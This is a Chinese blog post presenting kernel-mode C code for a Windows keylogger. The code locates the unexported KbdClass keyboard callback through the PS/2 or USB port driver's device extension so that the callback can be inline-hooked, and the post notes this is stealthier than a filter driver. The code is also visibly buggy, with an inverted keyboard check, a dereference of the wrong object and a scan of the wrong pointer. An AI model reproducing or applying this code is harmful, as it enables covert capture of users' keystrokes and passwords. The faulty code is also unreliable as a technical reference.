Hook KeyboardClassServiceCallback实现键盘 Logger

 用DeviceTree 可以看到PS/2键盘的端口驱动是i8042prt,USB键盘的端口驱动是Kbdhid。无论是PS/2 键盘还是USB键盘,在端口驱动处理完IRP之后都会调用上层处理的回调函数,即KbdClass 处理输入数据的函数。Hook 这个回调函数,不但可以实现兼容PS/2 键盘和USB 键盘的Logger,而且比分层驱动的方法更加隐蔽。

Kbdclass的这个回调函数是未导出的,不过在DDK的代码中,我们可以找到这个函数,即kbdclass.c中的KeyboardClassServiceCallback函数。在内核中寻找这个函数可以用特征码搜索,不过楚狂人提出一种改进的方法。我们用这个方法来实现。

根据前人的指示(以PS/2 键盘为例):

(1)KeyboardClassServiceCallback 函数指针应该保存在i8042prt 生成的设备的自定义扩展中。

(2)KeyboardClassServiceCallback的开始地址应该在内核模块KbdClass中。

(3)内核模块KbcClass生成的一个设备对象的指针也保存在端口驱动的设备扩展中,并且在KeyboardClassServiceCallback的指针之前。

根据这三点,我们可以打开端口驱动的驱动对象,得到其设备扩展。然后遍历KdbClass下的所有设备,查找其中一个被保存在端口设备扩展中的设备对象指针,然后在从这个指针开始寻找回调函数。

实现代码如下:

NTSTATUS SearchOldFunctionAddress(IN PDRIVER_OBJECT DriverObject)
{
//定义一些局部变量
NTSTATUS status = STATUS_UNSUCCESSFUL;
int i = 0;
UNICODE_STRING uniNtNameString;
PDEVICE_OBJECT pTargetDeviceObject = NULL;   //目标设备
PDRIVER_OBJECT KbdDriverObject = NULL;    //类驱动
PDRIVER_OBJECT KbdhidDriverObject = NULL;   //USB 端口驱动
PDRIVER_OBJECT Kbd8042DriverObject = NULL;   //PS/2 端口驱动
PDRIVER_OBJECT UsingDriverObject = NULL;
PDEVICE_OBJECT UsingDeviceObject = NULL;

PVOID KbdDriverStart = NULL;   //类驱动起始地址
ULONG KbdDriverSize = 0;
PVOID UsingDeviceExt = NULL;

//这部分代码打开PS/2键盘的驱动对象
RtlInitUnicodeString(&uniNtNameString,PS2KBD_DRIVER_NAME);
status = ObReferenceObjectByName(
   &uniNtNameString,
   OBJ_CASE_INSENSITIVE,
   NULL,
   0,
   IoDriverObjectType,
   KernelMode,
   NULL,
   &Kbd8042DriverObject
   );
if (!NT_SUCCESS(status))
{
   DbgPrint("Couldn't get the PS/2 driver Object/n");
}
else
{
   //解除引用
   ObDereferenceObject(Kbd8042DriverObject);
   DbgPrint("Got the PS/2 driver Object/n");
}

//打开USB 键盘的端口驱动
RtlInitUnicodeString(&uniNtNameString,USBKBD_DRIVER_NAME);
status = ObReferenceObjectByName(
   &uniNtNameString,
   OBJ_CASE_INSENSITIVE,
   NULL,
   0,
   IoDriverObjectType,
   KernelMode,
   NULL,
   &KbdhidDriverObject
   );
if (!NT_SUCCESS(status))
{
   DbgPrint("Couldn't get the USB driver Object/n");
}
else
{
   ObDereferenceObject(KbdhidDriverObject);
   DbgPrint("Got the USB driver Object/n");
}

//如果同时有两个键盘 返回失败
if (Kbd8042DriverObject && KbdhidDriverObject)
{
   DbgPrint("More than one keyboard!/n");
   return STATUS_UNSUCCESSFUL;
}

//两种键盘都没有 也返回失败
if (!Kbd8042DriverObject && KbdhidDriverObject)
{
   DbgPrint("Not found keyboard!/n");
   return STATUS_UNSUCCESSFUL;
}

//找到合适的驱动对象
UsingDriverObject = Kbd8042DriverObject ? Kbd8042DriverObject : KbdhidDriverObject;
//找到该驱动对象下的第一个设备对象
UsingDeviceObject = UsingDriverObject->DeviceObject;
//找到该设备的设备扩展
UsingDeviceExt = UsingDeviceObject->DeviceExtension;

//搜索过程,遍历KdbClass 下面的所有设备,这些设备中有一个被保存在端口驱动
//的设备扩展,然后在设备扩展中找回调函数

RtlInitUnicodeString(&uniNtNameString, KBD_DRIVER_NAME);
status = ObReferenceObjectByName (
        &uniNtNameString,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        IoDriverObjectType,
        KernelMode,
        NULL,
        &KbdDriverObject
        );
    // 如果失败了就直接返回
    if(!NT_SUCCESS(status))
    {
        DbgPrint("Couldn't get the MyTest Device Object/n");
        return STATUS_UNSUCCESSFUL;
    }
    else
    {
        // 这个打开需要解应用。
        ObDereferenceObject(DriverObject);
    }

//遍历KbdDriverObject 下的设备对象
pTargetDeviceObject = KbdDriverObject->DeviceObject;
while (pTargetDeviceObject)
{
   PBYTE DeviceExt;
   DeviceExt = (PBYTE)UsingDeviceObject;
   //遍历我们先找到的端口驱动的设备扩展下的每个指针
   for (;i<4096;i++,DeviceExt += sizeof(PBYTE))
   {
    PVOID tmp;
    if (!MmIsAddressValid(DeviceExt))
    {
     break;
    }

    //找到后填写到下面的全局变量中,如果已经找到 直接退出
    if (gKbdCallBack.classDeviceObject && gKbdCallBack.serviceCallBack)
    {
     status = STATUS_SUCCESS;
     break;
    }

    //在端口驱动的设备扩展中,找到了类驱动的设备对象,填好类驱动设备对象后继续
    tmp = *(PVOID*)DeviceExt;
    if (tmp == pTargetDeviceObject)
    {
     gKbdCallBack.classDeviceObject = (PDEVICE_OBJECT)tmp;
     DbgPrint("classDeviceObject %8x/n",tmp);
     continue;
    }

    //如果在设备扩展中找到一个地址位于KbdClass 模块中,就认为这是我们要的回调函数地址
    KbdDriverStart = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
    DbgPrint("kbdclass.sys: 0x%08lx/n", (PVOID)KbdDriverStart);
    KbdDriverSize = 0x2000;   //为了搜索快点,Kbdclass.sys的模块大小实际上不是这么小
   
    if ((tmp > KbdDriverStart)&&(tmp < (PBYTE)KbdDriverStart+KbdDriverSize)&&MmIsAddressValid(tmp))
    {
     //记录回调函数的地址
     gKbdCallBack.serviceCallBack = (KeyboardClassServiceCallback)tmp;
     //PVOID AddrServiceCallBack = (PVOID *)DeviceExt;
     DbgPrint("serviceCallBack :%8x/n",tmp);
    }
   }
  
   //换下一个设备,继续遍历
   pTargetDeviceObject = pTargetDeviceObject->NextDevice;
}

//如果成功找到 可以返回了
return status;
}

找到函数地址后,inline hook之即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值